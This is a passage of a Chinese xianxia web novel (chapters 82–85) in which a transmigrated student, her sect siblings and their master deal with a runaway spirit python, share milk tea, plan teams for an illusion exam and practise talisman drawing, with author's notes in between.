闻越不知何时已经从地上站起来了:“为何走失?” “似乎是饿了,那日散课晚了,没顾上喂。”叶泯说着说着脸色又变得难看起来, “坏了……” 关云铮忍不住在心里叹气, 心说这人也太没心眼了,虽说当下找到那蟒蛇要紧,但什么话都往外说,别人会怎么想他? 好在这是归墟,没那么多讲究和规矩, 欠打哥那种货色也能得到平等的教育,换了其他地方,甫一见面就闹出这样大的祸事,自己说话还不知遮掩…… 章存舒倒没叶泯那么担忧,若是那灵兽当真在进入青镜山之前便走失,还有伤人的可能,护山大阵也是不会将其放进来的。 “平时若是找不着它,你会如何召唤?”章存舒心知此事威胁不大,当下首要之事还是抚平面前这弟子的忧虑。 叶泯急昏头了,现在被提醒了才想起来,忙从乾坤袋中掏出自己的陶埙:“吹奏这陶埙可以将它召回。” 那陶埙看着不像月下逢一样周身流动着光彩,看起来甚至有些灰扑扑的,关云铮不得不怀疑这乐声没有灵气的加持,能否传到那蟒蛇的耳朵里。 几人站在原地等待,叶泯将同一段旋律吹奏到第五遍时,终于听见奇怪的“沙沙”声传来。 脑子又在不受控制地想象画面,关云铮被自己吓得打了个哆嗦,沉默着缩到了章存舒身后,和同样躲在章存舒身后的闻越面面相觑。 关云铮用眼神询问:你躲什么? 闻越用眼神问回来:那你又躲什么? 两人一来一去,还没等再战几个回合战到眼皮抽筋,那巨蚺终于从一边的草丛里探出了它巨大的脑袋。 闻越和关云铮当即倒吸两口冷气。 这巨蚺的脑袋比他俩的脑袋加起来都大 …… 关云铮忍不住又往章存舒身后缩了缩,声音都抖了:“师,师父……它它它,它怎么朝着我们过来了?” 章存舒看了那巨蚺一眼,虽然清楚此番无甚风险,但还是往关云铮和闻越身前又站了站:“大约是看你们两个害怕,想逗你们玩。” 关云铮的声音抖得更厉害了:“那我,我是真的害怕……” 虽然她知道此时装作完全不害怕,才能让面前这庞然大物失去对自己的兴趣——但她真的装不出来…… 一旁的闻越比她稍微好些,只是虽然声音没抖,脸也已经绷紧了。 那硕大的蛇头越靠越近,叶泯急得几步跑过来,甩出一个缩小符咒拍在巨蚺头顶:“别吓着人家了!快给我回来!” 那巨蚺瞬息之间变为一团光点,被叶泯迅速收回了灵笼。 生怕灵笼不牢固,他又语速飞快地念了几个法诀,确认足以束缚,才将其放回袖中。 太好了,关云铮劫后余生般吐了一口气,终于得救了。 同样得救的闻越看向她:“你方才原打算做什么来着?” 关云铮还没彻底回神,恍惚着重复他的话:“方才?” 闻越惊恐地看向章存舒:“坏了,师父,云崽被吓傻了。” ——吓傻是不可能的,缓过神来的关云铮表示她只是巨物恐惧症犯了,没到被吓傻的地步。 没穿越过来之前就喜欢看点动物恐怖片,人菜瘾又大,还总喜欢吐槽电影里的角色遇到危险傻在原地不知道逃跑。现在好了,穿越过来真见着这么大的蛇了,她还不是跟她吐槽的那些角色一样吓得不敢动。 关云铮心有余悸地喝了一口茶,咽下去后才后知后觉地“嗯?”了一声:“这是什么茶?” 连映给闻越也倒了一杯:“荷叶茶,昨日李厨从山下农庄带回来的。” 降血压的?关云铮看了眼杯子里的茶汤。 澄黄透明,看不出有什么特别。 她凑近杯子嗅了嗅,似乎也没什么特别的气味。 想来荷叶入茶同制茶工艺一样需要杀青,所以没什么特别的气味吧。 她捧着杯盏嗅嗅看看,看上去不像被吓坏了,分明精神很好的模样。 连映这才放下心来,正想开口,忽然瞥见一边的闻越已经在喝第三盏茶,连忙伸手将茶壶拿了回来。 闻越捧着杯盏茫然:“怎么不让喝了?” “荷叶茶寒凉,少喝。”江却在桌边坐下后说道。 闻越眼巴巴地看了那茶壶一会儿,关云铮眨眨眼:“要真这么喜欢,明日也喝就是了。” 闻越这才收回视线,被另外三位注视了一会儿,打了个纯粹水饱的嗝。 ……是不能再喝了,都喝饱了。 “所以方才迎接叶泯之前,你原打算去煮奶茶?”闻越放下茶盏问道。 关云铮点点头,但坐在原地不动:“容我先缓缓。” 能正常开口说话了就是没事了,连映笑着打趣她:“不馋了?” 关云铮神色泰然自若:“腿软了,我再坐会儿。” “哈哈哈哈哈我就说她被吓到了吧!” “你还有脸笑?” “那我不笑了。” **** 虽然已经喝过理论上可以通过降血压来压惊的荷叶茶了,但关云铮依旧决定去煮锅奶茶压压惊。 芋泥做过了,珍珠也做过了,再做点什么小料试试呢…… 关云铮一冒出做菜的点子就去打搅李演的平静生活,声势浩大地闯进饭堂,正想喊李厨带自己缩地成寸去趟山下农庄,发现餐桌上已经摆了一锅煮好的奶茶,表面甚至结了一层奶皮。 而饭堂内静悄悄的,李演也不见踪影。 “李厨?” 回应她的是悄无声息扒住了她衣摆的栖霜。 关云铮弯下腰把它抱起来,感慨道:“这才对嘛,你这样的才能叫做小东西,今天那——么大一条蛇居然被叫作小东西,真是粗思也恐。” 栖霜听不懂,栖霜只知道抱着爪子里的东西啃啃啃。 “吃什么呢?”关云铮凑近了看。 栖霜稍微松开了一点爪子,一颗红豆从爪子的缝隙里滚下来,落在了关云铮手心。 这是红豆……还是红小豆? 按理来说,动物能吃的东西人一般也能吃,但眼前这只小动物毕竟喜欢吃丹药,关云铮不敢妄下论断,索性把这枚豆子又还给了栖霜。 “你的零嘴,我可不敢吃。” 栖霜眨了眨自己的豆豆眼,依旧听不懂人说话。 关云铮把它放下:“我得拎茶壶了,没手抱你,你要是想跟着就跟上吧。” 她也没指望栖霜能听明白,走到桌边把那锅奶茶倒进一旁的茶壶里,又翻出一叠足够师门人外加或许可能存在的编外人员喝奶茶的碗。 本想着一手提壶一手抱碗,尝试后才发现操作难度过高,她低头看了眼在她脚边扒拉的栖霜,视线往上收回时路过衣领,意识到自己怀里还有个乾坤袋。 她毫不犹豫地把碗全塞乾坤袋里了。 至于茶壶……放进去应当会翻,还是算了。 栖霜在原地抱着一捧红豆啃了会儿,忽然嗅到熟悉的气味,抬起脑袋张望,随后把红豆一撒,啪嗒啪嗒地跟上了拎着茶壶离开的关云铮。 关云铮去而复返,在闻越期待的眼神里放下茶壶和碗,又忍不住调侃他:“师兄,你方才喝了好些碗荷叶茶,还喝得进奶茶吗?” “我能喝!” 只是喝个奶茶,闻越的架势活像是有人要和他喝酒结拜,说话时的语气堪称豪气冲天。 关云铮怀疑他到底还是喝多了,看着都有几分醉茶了。 “李厨煮好的?”江却把碗排开时问道。 “但是李厨不在,不知道上哪儿去了。”关云铮接过江却递过来的碗,喝了口奶茶,发现李演还在里面放了桂花蜜,忍不住感慨道,“李厨伟大,无需多言。” 闻越猛喝一大口,学关云铮说话:“李厨伟大,无需多言。” 连映看了眼多出来的几个碗,看向关云铮:“拿了这么多碗?” 关云铮嚼到了一小朵桂花,掰着手指数:“师父、掌门、任师姐、李厨、苏修士、小悯,还有我们。” 排名不分先后。 连映失笑:“这么多碗一口气带过来,也是难为你了。” 关云铮抬头:“师姐,你这就有些溺爱我了。”她眨眨眼,“我把碗揣进乾坤袋里走了一路,到你们面前才拿出来,非要说辛苦,那也是乾坤袋比较辛苦吧?” 连映难得被她说的话梗了一下,摇头笑道:“也是……总在师门中待着,许久不曾用乾坤袋了,连这物件也忘了。” 对哦。 昨日下山师姐也没去。 关云铮放下碗:“虽然现今我也无法保证日后还有下山的机会,但下次下山师姐同我一起吧?” 其实连映也没多沮丧,但听了关云铮这话还是笑了起来,伸手顺了顺她脑后的头发—— 作者有话说:每天两眼一睁就是卡文[化了] 第83章 既然聊到了乾坤袋——关云铮放下碗:“师姐, 这次下山,我的乾坤袋里有件披风,是你预先放进去的吗?” 连映给自己倒了一碗奶茶, 想了想才说:“乾坤袋里的披风?我想起来了, 那件的话,是我放进去的。那时候师父说可以先给你备一些东西, 以后兴许用得上。” “那干花呢?我那时候还摸出一朵干花, 和你昨晚修剪的那盆花长得很像,似乎是同一盆。”关云铮又问道。 连映这次果断地摇了摇头:“不是我放的。” 关云铮心说这就奇怪了:“难道是师父?” 但是昨晚这盆花还好好的呢,不说开得盛大,至少也没到枯萎的地步,这穿越时空的干花究竟哪来的? 连映看出她在想些什么,笑着解释:“师父偶尔喜欢玩些小把戏。” “小把戏?什么样的?”关云铮好奇问道。 坐在一边的江却接上了话茬:“好比方才你说的那朵干花, 应当是上次开花时被他捡走,而后处理成干花的。” 那他还挺懂得生活, 关云铮这样想着,只是这样也算不上什么小把戏吧, 顶多是个生活意趣? 闻越喝完了一碗奶茶, 终于得出空来加入这场对话:“师父擅长一种术法,可以令花草快速生长,或是停驻在某个阶段不变。” 关云铮瞳孔地震了:“这不算有违天时吗?” 连映微微笑了一下:“自然算, 不过好在这术法的维持时间不长, 师父也不常用,只是每次用过后,他会变得……有些倒霉。” 这下关云铮也想笑了:“是哪种倒霉?” 闻越给自己又倒了一碗奶茶,说起八卦来总是神采奕奕的脸上此刻焕发出了诡异的光彩:“我入师门第二年下山游历的时候,碰见个小姑娘, 她家的花迟迟不开,师父就随手给那盆花施了个术法。” 关云铮心想确实是师父做得出来的事,感觉他就是那种喜欢招猫逗狗的类型——没有说小孩是猫狗的意思,她兴致勃勃地追问道:“之后呢?” 闻越喝了口奶茶:“之后那花就开了,那小姑娘刚欢天喜地地走远,师父就被一盆淘米水从头浇到了脚。” “咳咳咳……”关云铮没想到“倒霉”来得这么快,差点被刚喝进嘴里还没咽下去的奶茶呛死,当场咳了个天崩地裂。 她错了,她不该在听见师父倒霉的时候想笑的,报应来得太快,她防不胜防。 连映连忙放下碗给她顺气,又相当善解人意地说:“想笑不用忍着,当时我们都笑了。” 闻越点点头:“而且那时候,因为师父是蹲下同那小姑娘说话的,小姑娘走后师父还没来得及站起来呢,就被兜头浇了一身,我和师兄师姐因为没走近,正好幸免于难。” 那这真的很倒霉了。 关云铮终于不咳了,眼泪汪汪也不忘继续吃瓜:“为何没走近?” 闻越示意她看向坐在一边沉默喝奶茶的江却:“师兄若是走近了,那小姑娘会被吓哭的吧?” “噗。”关云铮没忍住,又一次笑出声,好在她这次早有心理准备,没在闻越说话时继续喝奶茶,不然就得从咳得天崩地裂进阶为咳得地崩山摧壮士死了,壮士(自封)是她这个史上第一个因为自己师父的笑料而笑死的人。 “小悯来喝奶茶。”连映先注意到走过来的楚悯,提起茶壶又倒了一碗奶茶出来。 关云铮转过身:“诶?苏修士没一起来?” 楚悯摇摇头:“苏修士说今日两次课结束,明早的课便不来了,方才已经离开了。” 苍生道众人的院子是由一条弧形的游廊连在一起的,游廊到关云铮的院子便结束了,楚悯现在住的院子是通过月洞门与关云铮的院子相连的,几处院子的归属依次是章存舒、江却、连映、闻越、关云铮和楚悯。 楚悯的院子是苍生道这些院子最尽头的一处,如果苏逢雨上完课后离开,一般情况下都会通过其他的院子。 而他们正聚集在连映的院子里,按理来说,不该对苏逢雨的离去毫无察觉。 不过苏逢雨毕竟也不是一般人。 正当关云铮脑海中已经出现“苏逢雨轻轻一跃就翻过墙头离开“这样仙气飘飘同时又很离奇的画面时,楚悯坐在江却拿过来的竹椅上补充了一句:“应当是从闻师兄的院子离开的。” 哦对,差点忘了游廊也有一段连接了归墟其他地方,那一段游廊正好就在闻越的院子旁边。 关云铮垂眼反思:刻板印象真是害人不浅。 楚悯喝了一口奶茶,因为竹椅比石凳矮一些,故而略微抬起脸来看向关云铮:“这是你方才煮的吗?” 关云铮摇头:“李厨煮的,但是李厨不在,给他多留点。” 楚悯又喝了一口:“喝着与先前的有些差别。” 关云铮和闻越不约而同地埋头又喝了一口:“什么差别?” 楚悯眨眨眼睛:“换了新茶吗?” 闻越和关云铮又埋头喝了一口,随后对视一眼,在彼此的眼中看到了同为差生的绝望:“没喝出来。” 难道换了一块茶饼?可那几块茶饼不都是苍韫桢同一次给的吗?不过古代都是人工制作,存在差异好像也合情合理。 不管怎么说,关云铮又低头喝了一口,她完全没喝出来就是了。 楚悯这碗奶茶喝到一半,处理好叶泯入学事宜的章存舒从游廊上走来了,见楚悯单独坐在竹椅上,笑着说道:“看来该把这石桌变大些了。” 苍生道的师门氛围松弛到师父来了没一个打算站起来让座的,唯一打算站起来的楚悯又被章存舒不动声色地拍了拍肩膀,坐回去了。 其实苍生道众人的屋子里都备有多的椅子,章存舒忙活这一阵自然也没打算坐着,就地取材,从闻越房中拿出了另一把竹椅,在关云铮的另一侧坐下了。 闻越木然:“好在我房中没什么见不得人的东西,不然师兄开一次门,师父开一次门,有点什么都得暴||露。” 关云铮听得直想笑,又把奶茶端给自家便宜师父:“叶泯也住那边的寝舍?” 楚悯若有所思:“他当真来归墟了。” 不知章存舒是渴极了还是馋疯了,一口下去把碗里的奶茶喝得只剩下个底:“他那灵笼确有缺损,我给他修补好了。至于那叫做灵犀的灵兽为何会走失……” 他故意卖关子,连映叹了口气,拎着茶壶把他碗里又加满了。 章存舒满意地笑了笑,这才接着说道:“灵犀找到了中午我们谈到的那群鸡。” 寂静。 关云铮怀疑在座除章存舒以外的所有人都觉得自己方才一定是出现了幻觉,所以听到了这样匪夷所思的事情。 短暂的寂静之后,作为对于灵犀走失一事有些发言权的当事人之一,闻越开口说道:“那灵兽,应当不会说人话?” 章存舒点头:“这是自然。” 另一当事人关云铮接着问道:“那……是怎么知道它找到了那群鸡的?” 章存舒把再度喝空的碗放下:“方才你们被吓着了没注意,它悄悄用尾巴卷了好些鸡蛋。” 原来是这么……朴实无华的过程吗,那她刚才脑子里出现的精彩推理算什么,算她看过的多? 楚悯见过灵犀,本以为叶浔不会同意叶泯将灵犀带过来,当下灵犀即将在归墟度过近一年的时间已成定局,她不由得关心起这灵兽未来的处境:“总不能每日都将它收在灵笼里,日后若是要出来活动,该如何安置?” 章存舒笑眯眯的:“正巧灵犀觉得那群鸡不大好吃,不如日后就放在后山养吧,我给后山设个结界,防止学生们误入便好。” “灵犀觉得那群鸡不好吃?”关云铮惊呆了,“它不仅顺走了鸡蛋,还把鸡吃了?” 那它动作真够快的。 章存舒摇摇头:“非也。” 连映直白道:“剩下的奶茶得留给其他人,你别卖关子了,师父。” 关云铮和楚悯对视一眼,差点没忍住笑出声。 所以说想笑的时候真的不能看向自己的朋友,会更想笑。 章存舒为这话幽幽地叹了一口气:“叶泯说,要是那鸡味道不错,灵犀就不会只是卷几枚鸡蛋回来了,估计还得再叼一只鸡回来。大概这灵兽往日里没少吃,经验比人都丰富。” 还差点连吃带拿,好样的。 关云铮默不作声地在心里给灵犀竖了个大拇指。 章存舒忽然想起什么似的又说:“险些忘了要事。” 所有人目光顿时看向他。 不靠谱的师父在众人的注视下对关云铮和楚悯说:“新来的二位同窗需要更换归墟弟子校服,忘了问尺寸,你们明日帮我去问问?” 章存舒的目的简直昭然若揭,分明是担心她们与新同窗相处不融洽,才想出这么一招。 关云铮喝了口奶茶,平静点出此事存在的问题:“师父,你让我们两个姑娘去问他们的衣着尺寸,这合适吗?” 章存舒笑眯眯的:“为师自然考虑到了此事。” 关云铮不明所以:“所以?” 章存舒神色自然:“把这两张符纸交给他们就好。” 他说着从袖中拿出两张早已备好的符纸来。 如果想要打破天花板,而屋子里的人不同意,打开窗他们就同意了,是吧? 所以到底是哪里学来的这一套啊?怎么还用得这么炉火纯青? 关云铮充满怨念地接过了符纸:“量体裁衣的符咒?还有这种东西?” 章存舒“唔”了声:“是负责校服之人给我的。” 归墟有专门负责的人?还以为是集体外包呢,就像过去几年在初高中穿过的劣质昂贵校服一样。 夏季短袖能在厚的同时兼具透光性,短裤则状似塑料布还容易引发过敏;秋季校服永远是版型最好看的,所以但凡大场合,无论快要夏天还是已经冬天,都会被要求穿着这一套,热死还是冻死全看造化;冬季校服永远有内胆和外壳两层,外壳必不透气且闷汗,但只穿内胆也绝对不算穿着校服,晚自修做眼保健操时会被巡查的学生不做声地扣掉班级的分数。 不过归墟甚至会在校服里缝上恒定温度的符咒,会着专人负责此事倒也在意料之中。 都有专人负责了还让她和小悯去,摆明了是想让她们跟新同学搞好关系吧? 见她接过符纸,章存舒终于说出自己的用意:“进入幻境考察至少需要四人,之后还会来另一群弟子,加上先前的,正好可以四人组队,没有多余。” 关云铮和楚悯明白了:“谭一筠和叶泯不计算在内?” 章存舒颔首:“我看你们同先前的这部分同窗相处不算十分融洽,新来的就算能和你们组队,怕也不是助力而是拖累,不如就和谭一筠和叶泯组队,至少在为师这里,他们二人知根知底。 “谭一筠长你们一岁,有过接受教习的经验,加之幻境考察在往年的教习中也出现过,比起他人,他会更得心应手一些。叶泯的话,他在灵兽派的境遇算不上难捱,只是我同他父亲有些私交,他父亲也厌烦了秦长老那些做派,干脆借教习的由头把他的小儿子丢来归墟给我照料,只是我见了这个年纪的少年就犯头痛,只好辛苦你们体谅体谅我,帮着招架一番。” ……关云铮一时不知道从哪里开始吐槽,简直是槽多无口。 虽然她总说师父是谜语人,但是某种意义上来说章存舒也很坦诚,他不想说就不说,想说的干脆连矫饰也没有,平铺直叙,目的动机什么的,全都一目了然。 不过…… 闻越被其中一句话扎到似的,幽幽问道:“师父,你是在含沙射影地指责我吗?” 章存舒笑眯眯地看向他:“你知道就好,徒儿。” 虽然知道闻越最初一定是个令人颇为头痛的徒弟,两人这对话的发生完全在意料之中,但这两句话听得人实在想笑,关云铮笑了好一会儿才说:“师父,你就这样把他们都给算计了?” 章存舒正色:“是他们的师父传信与我,你们又正好可以多两位同伴,此事难道不是皆大欢喜,怎就成了算计?” 太坦荡了,关云铮甘拜下风—— 作者有话说:虽然可能0人在意,但我要郑重地宣布一件事(咳咳):请看我的专栏! 新头像是不是很可爱,请夸[三花猫头] 另外请看其他系列的系列名,此菇可是非常认真地找了出处的! 至于开文先后顺序,下一本仍然是旅店那一本,开这些系列只是因为这些都是以前就想写的,所以不写出来会有点遗憾,提早开出来也是为了表明我就是这么一个什么情感类型都会写的作者,提前给自己叠个甲(目移) 听一百遍反方向的钟可以让我回到假期第一天吗[爆哭] 第84章 坦荡的章存舒和弟子们聊不了几句又有事离开了, 比他稍早些加入师门众人的楚悯,自然就成为了新的话题中心。 关云铮作为中午安慰情绪低落小悯的一员,率先提问道:“方才苏修士没说什么……太直白的话吧?” 不同的孩子能接受的语言模式不同, 我们家小悯真吃不消您一上来就直截了当地戳心窝子啊, 但凡来点缓冲呢。 楚悯笑了笑:“没有,只讲了新的曲子。” 闻越对苏逢雨的教学模式很好奇:“明日她就不给你上课了?这样一来, 你学琴的时间岂非比原先的术法课和武器课短得多?” 短上这许多时间, 能学得完吗? “术法和武器课也是先生们先讲习和演示,随后自行练习,只不过在课堂上练习,多出了向先生们提问的机会。”楚悯把空碗放回桌上,“苏修士会把上一堂课的问题留到下堂课,若是自行解决了, 她会给出新的问题。” 连映若有所思:“所以她方才给出了新的问题?” 楚悯的脸上顿时浮现出愁色:“苏修士问我,是否有信心在初次幻境考察前破妄。” 关云铮一边想着“什么时候能有大善人出一本修仙界通用词典”, 一边问道:“破妄是什么?音修的境界?” 楚悯叹了口气:“章先生说,是音修修炼过程中的三劫之一。” 关云铮和闻越:“什么?!” 闻越惊呆了:“幻境考察如此凶险?竟然需要你在那之前破妄?” 这回换江却叹了一口气:“小越, 别吓着云崽和小悯了。” 闻越赶紧住嘴, 看向两个师妹时发现二位苦命师妹脸上已经没有一丝喜色了,云崽连血色都快没了! 关云铮有点恍惚:“苏修士应该只是单纯希望你境界飞涨,不是幻境考察很危险的意思吧?” 她还抱有一丝希望, 却见师门中打架经验最为丰富的江却露出极为罕见的为难神色。 好的现在她绝望了。 她感觉自己的声音里都快带哭腔了:“大师兄你直说吧, 我撑得住。” 江却被她如此凝重的语气逗笑了,随后坦诚道:“我只见过上一届的幻境考察,更多是对心境的考验,平心而论,对术法武器以及境界的考验, 不算多。” 闻越跟着心有余悸:“那你方才那为难的神情又是什么意思?” 关云铮和楚悯连连点头,用期盼的眼神看着他。 江却又叹了口气,这次比上一次还要多出几分无奈:“但今年的幻境考察由师父编织幻境,掌门出考题,我想……大概不会简单。” 两人眼里的期盼消失了。 楚悯深吸一口气,从竹椅上起身:“我去练琴了。” 关云铮一脸壮士赴死般的决绝:“我也去练剑了。” **** 苍韫桢一觉醒来,金色的余晖洒了半个宫殿,各类金银器皿熠熠闪光,把她尚未完全清醒的神智又晃了晃。 沈时安早就回去了,服侍的宫人无声无息得像是角落里的影子,她恍惚间几乎以为这偌大宫殿中只有自己一人。 深秋不比初春,鸟雀大多已经往南方跑了,宫殿内外都是寂静,殿外甚至连风声也没有。 苍韫桢困倦地把自己撑起来,耳朵尖的宫人听见了动静,动作轻巧地掀开帘子进来,又被她拂手挥退,只好站在榻尾候着。 卿知走官路驿站送来的信仍放在榻边,虽然知道里头的内容已经被别有用心之人记下,这信已是无用,但她还是把它留了下来,毕竟自那日傍晚火中来信后,这是唯一一封能让她清楚如今那边形势的信。 她清楚柳卿知一定安然无恙,因为若是她有什么事,坏消息会以迅捷无比的速度传回朝安,哪怕有人执意阻拦。 因为洞玄法则的制定者是她,而持有者却是此时的柳卿知,持有者若……无力维持现状,她作为制定者会在第一时间获知此事。 想来安置流民一定令她忙得脚不沾地,苍韫桢披上外衣起身,撩开帘子往外走。 江县啊,在她仍是公主时,这个地名也曾这样清晰地出现在她的生活中。 那时她在另一处名不见经传的镇子面对洪灾无能为力,听见幸存的人感慨:“虽然我们是个小地方,但好歹地势不算低洼,隔壁江县论土地比我们宽广许多,可地势太低,洪灾来了只能是等死的份。” 等死的份…… 彼时的她力有不逮,倾尽全力也只能让镇上的流民稍微好过一些,虽然顶着公主的身份,但因为本就流落在外,在朝安城中人看来,她的生死都是未知数,更别提用这个身份对镇上居民许下什么日后的承诺了。 ——她能不能活到这个“日后”都尚未可知。 后来借了别人的势,比计划之中更早地回到朝安,洪灾、小镇、流民就像是她做的一场梦,需要在入睡前反复回想多次,才能在睡着后想起那么一点过去。 她对那梦境中的一切都无能为力,因此她甚至不敢过多地回忆那时的细节。 直到此时。 她清楚地记得在那个镇上见到的每一场日落,如血的残阳昭告着这个炼狱一般的人间又将开启新的一天,然而有很多人在日落前就永远地死去了。 对很多人来说,连看见第二天的日出都是一种奢求。 苍韫桢盯着洒入殿内的夕阳看了好一会儿,直到那光逐渐后撤,从她脚下退到殿门,最后彻底黯淡下去。 **** 任嵩华提着茶壶来到来去峰山头时,步雁山已经在不熄鼎一侧的空地上坐了好一会儿了。 护山大阵触及不到的地方,深秋的风毫不留情地吹乱步雁山的发,他几乎是有些不修边幅地坐在那,膝盖上放着才修补完剑柄的诸玄。 步雁山听见脚步声,难得没回头,只是疲惫地开口道:“嵩华,你来了。” 任嵩华拎着茶壶走上前,在他身边站定。 步雁山的目光落在那永不熄灭的火焰上:“去苍生道吃饭了吗?” 任嵩华“嗯”了声。 步雁山拿起诸玄,正打算从地上站起来,凌风起的声音又从两人身后传来:“怎么,我来的不是时候,你要走了?” 步雁山起身起了一半,干脆站起来后转身,便看见凌风起拎着两壶酒走来,隔空抛给他一坛。 任嵩华不动声色地往旁边一闪,站在原地的步雁山来不及叹气,只能在歪过头的同时伸手把酒坛接住了:“大师兄,你我之间分明只隔了这几步路。” 凌风起撬开酒封:“到你面前了再给你有什么意思。” 看这架势两人怕是要在这再待上好一会儿,任嵩华索性放下茶壶,对两人行过礼后便回去练剑了。 步雁山酒量其实很一般,但今日日子特殊,所以也没推辞,撬开酒封时还低头嗅了嗅:“大师兄何时酿的?” 凌风起拎着酒坛喝了一口:“记不清了,想起时便酿一坛,也不知这是哪年哪月酿的了。” 步雁山沉默着喝了一口酒,又不由自主地转回身,看向那高大的不熄鼎。 凌风起站在他身后:“这日子他也不来?” 步雁山失笑,回头看他:“你之前不也不来。” 凌风起默然,又灌了一口酒,随后说:“我以为……他总该来一趟。” 步雁山晚间没吃什么,喝了这些酒略有些烧得慌,放下酒坛在风中站着:“这么说来,大师兄是原谅师兄了?” 凌风起笑了声,只是那笑声太轻,很快就被山顶的风吹散了:“我怎么有资格去原谅,他缺的也不是我的原谅。” 是他自己,始终无法原谅自己。 步雁山从他身上收回目光,又注意到任嵩华提上来的茶壶,一边走过去提起来一边说道:“今日虽是重阳,但也该少饮些酒。” 凌风起闷笑一声:“你管的倒多,难怪师父也说你是当掌门的最佳人选。” 步雁山拎起茶壶揭开壶盖,随即一愣。 凌风起看过来:“怎么?” 步雁山看清壶中那熟悉无比的奶茶:“明年这时候,或许师兄也会来了。” **** 晚饭过后,大脑被掏空的楚悯和身体被掏空的关云铮一起坐在秋千上放空,目光呆滞,神情恍惚。 关云铮坐着缓了好一会儿才说:“其实我以前不喜欢小组合作,要不是师父安排的,我早就抗议了。” 其实应该说,她向来很讨厌小组合作。 尤其是上局解课的那学期,同组的爹味男从不动手实操,老师一来巡查立马抄上刀和镊子开始装模作样,老师走后迅速脱下手套靠在一边玩手机,要多逍遥有多逍遥。 好不容易等到实验结束,回寝室后她负责处理当天实验图片的标注,二十多张图片标注完、整理成PDF发到小组群里,爹味男又出来挑刺说这个颜色的字看不清楚,那个字体又太小。 早干嘛去了?嫌别人做得不够好就自己做,这个道理很难懂吗?既不动手还有脸嫌弃别人的成果,哪来这么厚的脸皮? 还有没那么累但比专业课还膈应的通识课小组作业。这位也没空,那位也没空,那请问到底谁来负责这部分内容?她再长出八条腕足来负责吗?建国以后不允许成精了知不知道啊! 既然骂到这了,那某些水课也别想逃过,就一门水课做什么PPT,请问呢?还非要小组组队做PPT,组队也就算了,还不允许各自组队而是随机组队,学生的命是不是命啊? 有些同学看上去好好一个人,实际上消息不回人找不到,PPT任务更是抛诸脑后,一周后才浪子回头般回想起来,然后紧急找了一份乱七八糟的东西拿来敷衍,实在忍受不了就只能自己重做一遍,到头来还得在PPT上署猪队友的名。 谁的命不是命,大学生难道就是贱命一条吗? 关云铮怨念深重地想着,嘴上就事论事道:“但是这次似乎是我抱别人的大腿,好像也没什么好抱怨的。” 练了一整天琴的楚悯已经快转不动脑子了,听完她的话过了许久才说:“还有半月才到初次考核,谁强谁弱尚无定数。” 关云铮仍旧心里没底:“你说幻境会考察什么呢?” 楚悯小幅度地摇了摇头:“若是别的先生出题,我还能根据以往的经验来分析一番,但章先生和步掌门……” 关云铮痛苦地用双手捂住脸,第一次觉得自己的师父和掌门师叔有那么一点面目可憎。 果然人的爱恨都是片面且短暂的,师父和掌门平时对她那么好,要考试了还是忍不住要小小地恨一下。就一下。 所以能不能一键快进到参加完仙门大比,全师门下山游历的时候? 她痴人说梦似的幻想完,靠在秋千的靠背上说:“我会成为很厉害的人吗?” 楚悯笑起来:“怎么不带上我?我也想知道,我会成为很厉害的人吗?” 关云铮又累又困,在楚悯面前没什么包袱,索性闭上眼假寐,轻声说:“你已经成为很厉害的人啦。” 楚悯望着归墟的夜空,跟关云铮一起靠在了秋千的靠背上:“明日要回课堂上课了。” 不提还好,一提关云铮就没法再自我催眠了,猛然睁开眼:“拼搏半月,我要过幻境考察!” 楚悯:“噗。”—— 作者有话说:才发现之前给段评设置了需要收藏作者(擦汗),难怪有很多小可爱只能发章评(跪),现在已经改成只需要收藏文章就可以啦!评论摩多摩多![害羞] 不过看在专栏画风还挺可爱的份上,能不能给这个可怜的菇一点专栏收藏呢[可怜][可怜] 第85章 拼搏不了一点。 关云铮看着悬浮在空中、环绕在自己周围的金红色咒文, 觉得昨天晚上对着小悯立志说要拼搏的自己……还是有点太天真了。 她真傻,真的,她单知道前两天先生们聚在一起是要商量日后的课程安排, 不知道课程的难度一夜之间被提高了这么多。 ……打住。 其实课程难度的提高倒是有迹可循, 至少从让他们下山寻找趁手的武器这一点,就能看出至少武器课是要开始提高难度的, 毕竟不同材质的剑杀伤力都不可相提并论——但褚先生的课怎么也毫无征兆地上强度了啊! 穿越之前她其实对道教玄学这些知识稍微有些接触, 但只是路过的时候看上两眼,不明觉厉那么一两下,再多的感觉也就没有了。 说白了,除了有点怕黑,她本质上还是个坚定的唯物主义战士,没有那么相信这些东西, 就连算命都主张一个说得好听才信,说得不好听就是封建迷信。 但今时不同往日, 此世此身也并非彼世彼身,以前只是看一眼就可以路过的东西, 现在像一堵并不严密但让人喘不过气的文字墙围绕着她, 而布置下这些的褚先生方才说,这些都是日后需要他们一笔画成的符箓。 这种咒文的复杂程度完全超出了她的理解上限,目前看来她只能照葫芦画瓢地模仿, 画一道就得看一眼模板, 就说飘到她面前的这个,写完得画至少二十多笔,比她名字的笔画都多。 而类似的咒文,在她以及其他同窗周围,至少悬浮着几十个。 关云铮安详地闭了闭眼, 又忍不住略微坐直一点,环视了一圈周围。 感谢原身良好的视力,让她得以将周围同窗们同样绝望的表情尽收眼底。 环顾过后无端捡起了一点信心是怎么回事。 褚先生给每人留下这几十个符箓后就做自己的事去了,留下这群苦命的弟子,一边交头接耳一边认命地拽过咒文开始练习。 咒文看上去是透明的,然而伸出手触碰时,会发现这些东西其实有实体,可以被拖动到面前,再操控着灵气轻触一下,则会从落笔处出现一个格外亮、颜色也格外深的光点,缓慢地沿着正确绘制的顺序走一遍。 关云铮刚才就已经扒拉过来一个看过了。 怎么说呢。 每一笔走势都挺出乎意料的。 有些笔画分明就挨在一起,按照常规思路,也就是汉字书写的思路,应该是紧挨着的先后顺序,结果咒文的行进过程中,这两笔看似相隔咫尺实际相去万里,一个是开头几笔之一,另一笔差不多到收尾时才描画上。 这对吗。这不对吧。 关云铮抓过桌子上的纸,又神情凝重地抓过搁在砚台边的笔,准备开始死记硬背。 至少把形状记下来,笔顺先放到后面吧,反正小学刚开始认字的时候笔顺也没对过。 正在逐个查看空中咒文的楚悯此时开口道:“你把指尖放在咒文上试试。” 楚悯在符咒和术法方面比她精通多了,会这样说一定有其道理所在。于是关云铮默默放下笔,拽过一个正好飘到她面前的咒文。 想看咒文从头到尾走一遍只需要用灵气触碰一次即可,把指尖放在上面的话…… 她对小悯的话没有任何怀疑,没多做思考就把指尖怼了上去。 楚悯凑过来,关切道:“可有何感觉?” 关云铮正想回答没什么特别的感觉,却忽然感到指尖于咒文相接处传来一阵灼烧感,定睛一看,原来是那光点正好走到了她的指尖下方。 